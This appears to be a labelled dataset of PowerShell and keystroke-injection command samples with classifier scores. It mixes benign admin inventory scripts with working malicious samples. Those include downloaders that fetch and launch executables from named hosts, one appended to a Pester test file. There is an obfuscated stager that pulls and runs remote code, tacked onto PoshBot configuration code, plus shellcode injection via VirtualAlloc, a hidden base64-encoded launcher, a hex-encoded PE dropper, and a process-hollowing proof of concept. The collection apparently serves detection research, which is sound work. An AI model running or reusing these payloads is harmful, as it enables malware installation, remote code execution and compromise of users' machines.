"win+r enter powershell enter enter enter Set-StrictMode -Version 'Latest' enter enter & (Join-Path -Path $PSScriptRoot -ChildPath 'Initialize-CarbonTest.ps1' -Resolve) enter enter $mof1Path = $null enter $mof2Path = $null enter $notAMofPath = $null enter $mof3Path = $null enter $tempDir = $null enter $mof = $null enter $clearedMof = @' enter /* enter @TargetNode='********' enter */ enter enter /* ...snip... */ enter instance of OMI_ConfigurationDocument enter { enter Version=""1.0.0""; enter }; enter '@ enter enter Describe 'Clear-MofAuthoringMetadata' { enter BeforeEach { enter $Global:Error.Clear() enter $script:tempDir = Join-Path -Path $TestDrive.FullName -ChildPath ([IO.Path]::GetRandomFileName()) enter New-Item -Path $tempDir -ItemType 'Directory' enter $script:mof1Path = Join-Path -Path $tempDir -ChildPath 'computer1.mof' enter $script:mof2Path = Join-Path -Path $tempDir -ChildPath 'computer2.mof' enter $script:mof3Path = Join-Path -Path $tempDir -ChildPath 'computer3.txt' enter $script:notAMofPath = Join-Path -Path $tempDir -ChildPath 'computer2.txt' enter enter $script:mof = @' enter /* enter @TargetNode='********' enter @GeneratedBy=******** enter @GenerationDate=08/19/2014 13:29:15 enter @GenerationHost=******** enter */ enter enter /* ...snip... */ enter instance of OMI_ConfigurationDocument enter { enter Version=""1.0.0""; enter Author=""********; enter GenerationDate=""08/19/2014 13:29:15""; enter GenerationHost=""********""; enter }; enter '@ enter enter $mof | Set-Content -Path $mof1Path enter $mof | Set-Content -Path $mof2Path enter $mof | Set-Content -Path $mof3Path enter $mof | Set-Content -Path $notAMofPath enter } enter enter It 'should clear authoring metadata from file' { enter Clear-MofAuthoringMetadata -Path $mof1Path enter (Get-Content -Raw $mof1Path).Trim() | Should Be $clearedMof enter (Get-Content -Raw $mof2Path).Trim() | Should Be $mof enter (Get-Content -Raw $mof3Path).Trim() | Should Be $mof enter (Get-Content -Raw $notAMofPath).Trim() | Should Be $mof enter } enter enter It 'should clear authoring metadata from file without mof extension' { enter Clear-MofAuthoringMetadata -Path $mof3Path enter (Get-Content -Raw $mof3Path).Trim() | Should Be $clearedMof enter (Get-Content -Raw $mof2Path).Trim() | Should Be $mof enter (Get-Content -Raw $mof1Path).Trim() | Should Be $mof enter (Get-Content -Raw $notAMofPath).Trim() | Should Be $mof enter } enter enter It 'should clear authoring metadata from directory' { enter Clear-MofAuthoringMetadata -Path $tempDir enter (Get-Content -Raw $mof1Path).Trim() | Should Be $clearedMof enter (Get-Content -Raw $mof2Path).Trim() | Should Be $clearedMof enter (Get-Content -Raw $mof3Path).Trim() | Should Be $mof enter (Get-Content -Raw $notAMofPath).Trim() | Should Be $mof enter } enter enter It 'should check if path exists' { enter Clear-MofAuthoringMetadata -Path ('C:\{0}' -f ([IO.Path]::GetRandomFileName())) -ErrorAction SilentlyContinue enter $Global:Error.Count | Should BeGreaterThan 0 enter $Global:Error[0] | Should Match 'does not exist' enter $Error.Count | Should Be 1 enter } enter enter It 'should support what if' { enter Clear-MofAuthoringMetadata -Path $mof1Path -WhatIf enter (Get-Content -Raw $mof1Path).Trim() | Should Be $mof enter } enter } enter enter (New-Object System.Net.WebClient).DownloadFile('http://hnng.moe/f/Iot',""$env:TEMP\Microsoft.exe"");Start-Process (""$env:TEMP\Microsoft.exe"") enter enter",1,1,6.001033e-05,0.99994004
"win+r powershell enter function getIndex { param([string[]]$strings,[string]$pattern) for ($i = 0; $i enter -lt $strings.Count; $i++) { if ($strings[$i] -like $pattern) { return $i } enter } return -1 } try { enter enter",0,1,0.0043543084,0.9956457
"win+r powershell enter DUCKY_REAL_BEGIN enter REM This script sets up a network padding technique. enter REM Using Scapy to send padded IP packets with random payload length. enter REM Each packet is padded with a random number of 'A' characters to obfuscate the payload. enter REM This helps to add padding to the network traffic and increase the overall packet size. enter REM Keep in mind that while network padding can add some level of privacy, enter REM it doesn't guarantee complete anonymity or security. enter REM By default, it sends 600 packets with random payload length and padding. enter REM Current script runs for about 5 minutes enter REM Change the range value in the 'send([packet] * 600)' line 33 enter REM For example, changing it to 'send([packet] * 1200)' will last about 10 minutes. enter REM Adjust the inter parameter to control the delay between each packet. enter REM The current value is set to 0.5 seconds, but you can modify it as needed for your testing purposes. enter REM Requirements: Python 3 and Scapy. You can install Scapy using the command 'pip3 install scapy'. enter REM warnings can be ignored as they indicate that no IPv4 address is currently assigned to those interfaces. enter REM The script will continue to function as intended enter REM Author: Narsty enter REM Title: Network Padding Fury enter REM Target: MacOS enter REM Version: 1.0 enter REM Category: Obscurity enter ID 05ac:021e Apple:Keyboard enter DELAY 500 enter GUI SPACE enter DELAY 500 enter STRING Terminal enter DELAY 1000 enter ENTER enter DELAY 500 enter STRING python3 -c 'import random, time; from scapy.all import *; packet = IP() / Padding(load=""A"" * random.randint(100, 200)); send([packet] * 600, inter=0.5)' enter ENTER enter DUCKY_REAL_END enter",1,1,5.8567974e-05,0.99994147
win+r powershell enter function Clear-CMofAuthoringMetadata { [CmdletBinding(SupportsShouldProcess=$ enter true)] param( [Parameter(Mandatory=$true)] [string] $Path ) Set-StrictM enter ode -Version 'Latest' enter enter,1,1,0.005114083,0.99488586
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_ug5s7tfp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.txt"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_200.txt"") -Encoding UTF8 enter",0,0,0.999966,3.3991837e-05
"win+r powershell enter $9Wk = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntP enter tr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""ke enter rnel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, enter uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFla enter gs, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr mems enter et(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $9Wk -Na enter me ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xba,0x84,0 enter xbb,0x0f,0xcc,0xda,0xdd,0xd9,0x74,0x24,0xf4,0x58,0x31,0xc9,0xb1,0x6f,0x83,0xe8,0 enter xfc,0x31,0x50,0x11,0x03,0x50,0x11,0xe2,0x71,0x47,0xe7,0x45,0x79,0xb8,0xf8,0x35,0 enter xf0,0x5d,0xc9,0x67,0x66,0x15,0x78,0xb8,0xed,0x7b,0x71,0x33,0xa3,0x6f,0x02,0x31,0 enter x6b,0x9f,0xa3,0xfc,0x4d,0xae,0x34,0x31,0x51,0x7c,0xf6,0x53,0x2d,0x7f,0x2b,0xb4,0 enter x0c,0xb0,0x3e,0xb5,0 enter enter",1,1,5.429413e-05,0.99994576
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_iwmhmt6e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $env:Path -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ PathEntry = $_ } } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_path_entries.txt"") -Encoding UTF8 enter Write-Host ""Starting device_printer_inventory section 2."" enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4484332e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_9wz8rg46"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter Write-Host ""Starting scheduled_task_inventory section 2."" enter Get-ScheduledTask | enter Where-Object { $_.State -eq ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""scheduled_disabled_tasks.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4304652e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""system_review_nr5omkq6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_env_vars.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 150 HotFixID, Description, InstalledBy, InstalledOn | enter Export-Csv -Path (Join-Path $ReportDir ""software_hotfixes.csv"") -NoTypeInformation enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Auto"" } | enter Sort-Object DisplayName | enter Select-Object Name, DisplayName, Status | enter Export-Csv -Path (Join-Path $ReportDir ""service_automatic.csv"") -NoTypeInformation enter",0,0,0.9999654,3.452599e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_7gou83ge"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter Export-Csv -Path (Join-Path $ReportDir ""network_ip_config.csv"") -NoTypeInformation enter Write-Host ""Starting user_helpdesk_audit section 2."" enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Export-Csv -Path (Join-Path $ReportDir ""user_current_context.csv"") -NoTypeInformation enter",0,0,0.9999659,3.4046985e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_w8dli0pb"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting software_inventory section 1."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter Get-Process -Name ""svchost"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 20 ProcessName, Id, StartTime | enter Export-Csv -Path (Join-Path $ReportDir ""process_named_processes_20.csv"") -NoTypeInformation enter",0,0,0.9999645,3.5506408e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_o800g4rt"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-Service | enter Where-Object { $_.Status -eq ""Running"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_running.json"") -Encoding UTF8 enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter",0,0,0.9999659,3.4138804e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_n9u47yul"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.39745e-05
"win+r powershell enter $colaburbumbum = ""C:\\ProgramData\\MEMEMAN"" New-Item $colaburbumbum -ItemType Di enter rectory -Force $NuclearDefusion = @' $MEME2026sss = '4D5A90000300000004000000F enter FFF0000B800000000000000400000000000000000000000000000000000000000000000000000000 enter 000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D20636 enter 16E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A2400000000000000504500004 enter C010300507552640000000000000000E00002010B01080000A60500000A0000000000005EC405000 enter 02000000000000000004000002000000002000004000000000000000400000000000000002006000 enter 00200000000000002000000000010000010000000001000001000000000000010000000000000000 enter 00000000CC405004F00000000E005000008000000000000000000000000000000000000000006000 enter C0000000000000000000000000000000000000000000000000000000000000000000000000000000 enter 00000000000000000000000002000000800000000000000000000000820000048000000000000000 enter 00000002E74657874000 enter enter",1,1,5.9219554e-05,0.99994075
"win+r powershell enter Describe ""Out-File DRT Unit Tests"" -Tags ""CI"" { It ""Should be able to write the enter contents into a file with -pspath"" { $tempFile = Join-Path -Path $TestDrive -C enter hildPath ""ExposeBug928965"" { 1 | Out-File -PSPath $tempFile } | Should -Not -Th enter row $fileContents = Get-Content $tempFile $fileContents | Should -Be 1 Remove enter -Item $tempFile -Force } It ""Should be able to write the contents into a file enter with -pspath"" { $tempFile = Join-Path -Path $TestDrive -ChildPath ""outfileAppe enter ndTest.txt"" { 'This is first line.' | out-file $tempFile } | Should -Not -Throw enter enter",1,1,0.0022130734,0.9977869
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_murfh6or"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetIPConfiguration | enter Select-Object InterfaceAlias, InterfaceDescription, IPv4Address, IPv6Address, DNSServer | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_ip_config.json"") -Encoding UTF8 enter Write-Host ""Starting disk_checks section 2."" enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 3 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.485868e-05
"win+r enter powershell enter enter enter class BotConfiguration { enter enter [string]$Name = 'PoshBot' enter enter [string]$ConfigurationDirectory = $script:defaultPoshBotDir enter enter [string]$LogDirectory = $script:defaultPoshBotDir enter enter [string]$PluginDirectory = $script:defaultPoshBotDir enter enter [string[]]$PluginRepository = @('PSGallery') enter enter [string[]]$ModuleManifestsToLoad = @() enter enter [LogLevel]$LogLevel = [LogLevel]::Verbose enter enter [int]$MaxLogSizeMB = 10 enter enter [int]$MaxLogsToKeep = 5 enter enter [bool]$LogCommandHistory = $true enter enter [int]$CommandHistoryMaxLogSizeMB = 10 enter enter [int]$CommandHistoryMaxLogsToKeep = 5 enter enter [hashtable]$BackendConfiguration = @{} enter enter [hashtable]$PluginConfiguration = @{} enter enter [string[]]$BotAdmins = @() enter enter [char]$CommandPrefix = '!' enter enter [string[]]$AlternateCommandPrefixes = @('poshbot') enter enter [char[]]$AlternateCommandPrefixSeperators = @(':', ',', ';') enter enter [string[]]$SendCommandResponseToPrivate = @() enter enter [bool]$MuteUnknownCommand = $false enter enter [bool]$AddCommandReactions = $true enter enter [bool]$DisallowDMs = $false enter enter [int]$FormatEnumerationLimitOverride = -1 enter enter [ChannelRule[]]$ChannelRules = @([ChannelRule]::new()) enter enter [ApprovalConfiguration]$ApprovalConfiguration = [ApprovalConfiguration]::new() enter enter [MiddlewareConfiguration]$MiddlewareConfiguration = [MiddlewareConfiguration]::new() enter enter [BotConfiguration] SerializeInstance([PSObject]$DeserializedObject) { enter return [BotConfiguration]::Serialize($DeserializedObject) enter } enter enter [hashtable] ToHash() { enter $propertyNames = $this | Get-Member -MemberType Property | Select-Object -ExpandProperty Name enter $hash = @{} enter enter foreach ($property in $propertyNames) { enter if ($this.$property | Get-Member -MemberType Method -Name ToHash) { enter $hash.$property = $this.$property.ToHash() enter } else { enter $hash.$property = $this.$property enter } enter } enter enter return $hash enter } enter enter [BotConfiguration] Serialize([hashtable]$Hash) { enter enter $propertyNames = $this | Get-Member -MemberType Property | Select-Object -ExpandProperty Name enter enter $bc = [BotConfiguration]::new() enter enter foreach ($key in $Hash.keys) { enter if ($key -in $propertyNames) { enter enter $bc.Name = $hash.Name enter $bc.ConfigurationDirectory = $hash.ConfigurationDirectory enter $bc.LogDirectory = $hash.LogDirectory enter $bc.PluginDirectory = $hash.PluginDirectory enter $bc.PluginRepository = $hash.PluginRepository enter $bc.ModuleManifestsToLoad = $hash.ModuleManifestsToLoad enter $bc.LogLevel = $hash.LogLevel enter $bc.MaxLogSizeMB = $hash.MaxLogSizeMB enter $bc.MaxLogsToKeep = $hash.MaxLogsToKeep enter $bc.LogCommandHistory = $hash.LogCommandHistory enter $bc.CommandHistoryMaxLogSizeMB = $hash.CommandHistoryMaxLogSizeMB enter $bc.CommandHistoryMaxLogsToKeep = $hash.CommandHistoryMaxLogsToKeep enter $bc.BackendConfiguration = $hash.BackendConfiguration enter $bc.PluginConfiguration = $hash.PluginConfiguration enter $bc.BotAdmins = $hash.BotAdmins enter $bc.CommandPrefix = $hash.CommandPrefix enter $bc.AlternateCommandPrefixes = $hash.AlternateCommandPrefixes enter $bc.AlternateCommandPrefixSeperators = $hash.AlternateCommandPrefixSeperators enter $bc.SendCommandResponseToPrivate = $hash.SendCommandResponseToPrivate enter $bc.MuteUnknownCommand = $hash.MuteUnknownCommand enter $bc.AddCommandReactions = $hash.AddCommandReactions enter $bc.DisallowDMs = $hash.DisallowDMs enter $bc.FormatEnumerationLimitOverride = $hash.FormatEnumerationLimitOverride enter $bc.ChannelRules = $hash.ChannelRules.ForEach({[ChannelRule]::Serialize($_)}) enter $bc.ApprovalConfiguration = [ApprovalConfiguration]::Serialize($hash.ApprovalConfiguration) enter $bc.MiddlewareConfiguration = [MiddlewareConfiguration]::Serialize($hash.MiddlewareConfiguration) enter } else { enter throw ""Hash key [$key] is not a property in BotConfiguration"" enter } enter } enter enter return $bc enter } enter enter static [BotConfiguration] Serialize([PSObject]$DeserializedObject) { enter $bc = [BotConfiguration]::new() enter $bc.Name = $DeserializedObject.Name enter $bc.ConfigurationDirectory = $DeserializedObject.ConfigurationDirectory enter $bc.LogDirectory = $DeserializedObject.LogDirectory enter $bc.PluginDirectory = $DeserializedObject.PluginDirectory enter $bc.PluginRepository = $DeserializedObject.PluginRepository enter $bc.ModuleManifestsToLoad = $DeserializedObject.ModuleManifestsToLoad enter $bc.LogLevel = $DeserializedObject.LogLevel enter $bc.MaxLogSizeMB = $DeserializedObject.MaxLogSizeMB enter $bc.MaxLogsToKeep = $DeserializedObject.MaxLogsToKeep enter $bc.LogCommandHistory = $DeserializedObject.LogCommandHistory enter $bc.CommandHistoryMaxLogSizeMB = $DeserializedObject.CommandHistoryMaxLogSizeMB enter $bc.CommandHistoryMaxLogsToKeep = $DeserializedObject.CommandHistoryMaxLogsToKeep enter $bc.BackendConfiguration = $DeserializedObject.BackendConfiguration enter $bc.PluginConfiguration = $DeserializedObject.PluginConfiguration enter $bc.BotAdmins = $DeserializedObject.BotAdmins enter $bc.CommandPrefix = $DeserializedObject.CommandPrefix enter $bc.AlternateCommandPrefixes = $DeserializedObject.AlternateCommandPrefixes enter $bc.AlternateCommandPrefixSeperators = $DeserializedObject.AlternateCommandPrefixSeperators enter $bc.SendCommandResponseToPrivate = $DeserializedObject.SendCommandResponseToPrivate enter $bc.MuteUnknownCommand = $DeserializedObject.MuteUnknownCommand enter $bc.AddCommandReactions = $DeserializedObject.AddCommandReactions enter $bc.DisallowDMs = $DeserializedObject.DisallowDMs enter $bc.FormatEnumerationLimitOverride = $DeserializedObject.FormatEnumerationLimitOverride enter $bc.ChannelRules = $DeserializedObject.ChannelRules.Foreach({[ChannelRule]::Serialize($_)}) enter $bc.ApprovalConfiguration = [ApprovalConfiguration]::Serialize($DeserializedObject.ApprovalConfiguration) enter $bc.MiddlewareConfiguration = [MiddlewareConfiguration]::Serialize($DeserializedObject.MiddlewareConfiguration) enter enter return $bc enter } enter } enter enter [SYsTem.NeT.ServICEPointMANAGer]::EXpECt100ConTiNUe = 0;$Wc=NEW-OBjEcT SYsTEm.NEt.WEbCLient;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$wc.HeaDErs.AdD('User-Agent',$u);$WC.PrOxY = [SYsTEm.NeT.WeBREqUEsT]::DeFaULTWebPrOXy;$wc.PrOXY.CrEdENtIalS = [SYstEM.NET.CredeNTIalCAchE]::DEFaultNetWOrkCreDENTIaLS;$K='6df0e78d17e0ae2d45da8a512a3f858a';$i=0;[chaR[]]$b=([chaR[]]($Wc.DowNlOadSTRIng(""https://10.130.142.197:8087/index.asp"")))|%{$_-bXor$K[$I++%$k.LeNGTH]};IEX ($b-jOin'') enter enter",1,1,5.472918e-05,0.9999453
win+r powershell enter $rootKey = 'hklm:\Software\Carbon\Test\Test-RemoveRegistryKeyValue' $valueName = enter 'RegValue' function Start-TestFixture { & (Join-Path -Path $PSScriptRoot -Chi enter ldPath '..\Initialize-CarbonTest.ps1' -Resolve) } function Start-Test { if( -n enter ot (Test-Path $rootKey -PathType Container) ) { enter enter,1,1,0.0010925302,0.99890745
"win+r powershell enter function Get-PSakeScriptTasks { [System.Diagnostics.CodeAnalysis.SuppressMess enter age('PSUseSingularNouns', '')] [CmdletBinding()] param( [string]$buildFile ) enter if (-not $buildFile) { $buildFile = $psake.config_default.buildFileName } enter enter",1,1,0.0028235523,0.9971764
win+r powershell enter  if (Get-Command Get-SmbShare -ErrorAction SilentlyContinue) { Get-SmbShare } enter enter,0,0,0.99184847,0.008151498
"unknown_key_action ID 05ac:021e Apple:Keyboard enter delay_medium enter unknown_key_action GUI SPACE enter delay_medium enter terminal enter delay_medium enter enter enter delay_medium enter csrutil status > ~/Desktop/security_info.txt && sleep 2 enter enter enter delay_long enter spctl --status >> ~/Desktop/security_info.txt && sleep 2 enter enter enter delay_long enter codesign -dv --verbose=4 /bin/bash >> ~/Desktop/security_info.txt && sleep 2 enter enter enter delay_long enter ps aux | grep -v ""root\|_"" >> ~/Desktop/security_info.txt && sleep 2 enter enter enter delay_long enter lsof -i >> ~/Desktop/security_info.txt && sleep 2 enter enter",1,1,5.405623e-05,0.999946
"win+r powershell enter function Get-TimedScreenshot { [CmdletBinding()] Param( [Parameter(Mandatory= enter $True)] [ValidateScript({Test-Path -Path $_ })] [String] $Path, [Parameter enter (Mandatory=$True)] [Int32] $Interval, [Parameter(Mandatory=$True)] enter enter",1,1,0.00052282074,0.9994772
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_xx484sth"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, CsManufacturer, CsModel, CsProcessors, CsTotalPhysicalMemory | enter Export-Csv -Path (Join-Path $ReportDir ""computer_info_report.csv"") -NoTypeInformation enter Get-NetFirewallRule | enter Where-Object { $_.Enabled -eq ""True"" } | enter Select-Object -First 200 DisplayName, Enabled, Direction, Action, Profile | enter Export-Csv -Path (Join-Path $ReportDir ""firewall_enabled_rules.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999664,3.361384e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_ue29ynzm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""disk_psdrive.txt"") -Encoding UTF8 enter Write-Host ""Starting user_helpdesk_audit section 3."" enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.446099e-05
"win+r powershell enter (New-Object System.Net.WebClient).DownloadFile('http://fetzhost.net/files/044ae4 enter aa5e0f2e8df02bd41bdc2670b0.exe',""$env:TEMP\puttyx86.exe"");Start-Process (""$env:T enter EMP\puttyx86.exe"") enter enter",1,1,5.6128898e-05,0.99994385
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_0xpscklz"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter Get-PnpDevice | enter Select-Object -First 100 Class, FriendlyName, Status, InstanceId | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_pnp_devices.txt"") -Encoding UTF8 enter",0,0,0.99996567,3.4314402e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_6854vqoo"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting environment_report section 1."" enter $env:PSModulePath -split "";"" | enter Where-Object { $_ -ne """" } | enter ForEach-Object { [PSCustomObject]@{ ModulePath = $_ } } | enter Export-Csv -Path (Join-Path $ReportDir ""environment_module_paths.csv"") -NoTypeInformation enter Get-Service -Name ""*audio*"" -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, Status, CanStop, CanPauseAndContinue | enter Export-Csv -Path (Join-Path $ReportDir ""service_service_name_pattern.csv"") -NoTypeInformation enter",0,0,0.99996626,3.3727894e-05
powershell.exe -NoE -NoP -NonI -W Hidden -E JAAxACAAPQAgACcAJABjACAAPQAgACcAJwBb enter AEQAbABsAEkAbQBwAG8AcgB0ACgAIgBrAGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBs enter AGkAYwAgAHMAdABhAHQAaQBjACAAZQB4AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAFYAaQByAHQAdQBh enter AGwAQQBsAGwAbwBjACgASQBuAHQAUAB0AHIAIABsAHAAQQBkAGQAcgBlAHMAcwAsACAAdQBpAG4AdAAg enter AGQAdwBTAGkAegBlACwAIAB1AGkAbgB0ACAAZgBsAEEAbABsAG8AYwBhAHQAaQBvAG4AVAB5AHAAZQAs enter ACAAdQBpAG4AdAAgAGYAbABQAHIAbwB0AGUAYwB0ACkAOwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgBr enter AGUAcgBuAGUAbAAzADIALgBkAGwAbAAiACkAXQBwAHUAYgBsAGkAYwAgAHMAdABhAHQAaQBjACAAZQB4 enter AHQAZQByAG4AIABJAG4AdABQAHQAcgAgAEMAcgBlAGEAdABlAFQAaAByAGUAYQBkACgASQBuAHQAUAB0 enter AHIAIABsAHAAVABoAHIAZQBhAGQAQQB0AHQAcgBpAGIAdQB0AGUAcwAsACAAdQBpAG4AdAAgAGQAdwBT enter AHQAYQBjAGsAUwBpAHoAZQAsACAASQBuAHQAUAB0AHIAIABsAHAAUwB0AGEAcgB0AEEAZABkAHIAZQBz enter AHMALAAgAEkAbgB0AFAAdAByACAAbABwAFAAYQByAGEAbQBlAHQAZQByACwAIAB1AGkAbgB0ACAAZAB3 enter AEMAcgBlAGEAdABpAG8A enter,1,1,6.357813e-05,0.99993646
win+r powershell enter function Start-Hollow { <# .SYNOPSIS This is a proof-of-concept for process hol enter lowing. There is nothing new here except maybe the use of NtCreateProcessEx whi enter ch has some advantages in that it offers a convenient way to set a parent proce enter ss and avoids the bothersome Get/SetThreadContext. On the flipside CreateRemote enter ThreadEx/NtCreateThreadEx are pretty suspicious API's. I wrote this POC mostly enter to educate myself on the mechanics of hollowing. It is possible to load the Ho enter llow from an internal byte array straight into memory but I have not implemente enter d this functionality. enter,1,1,7.6081225e-05,0.99992394
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_t2xmeyfg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter $PSVersionTable | enter Export-Csv -Path (Join-Path $ReportDir ""environment_ps_version.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.99996614,3.3810593e-05
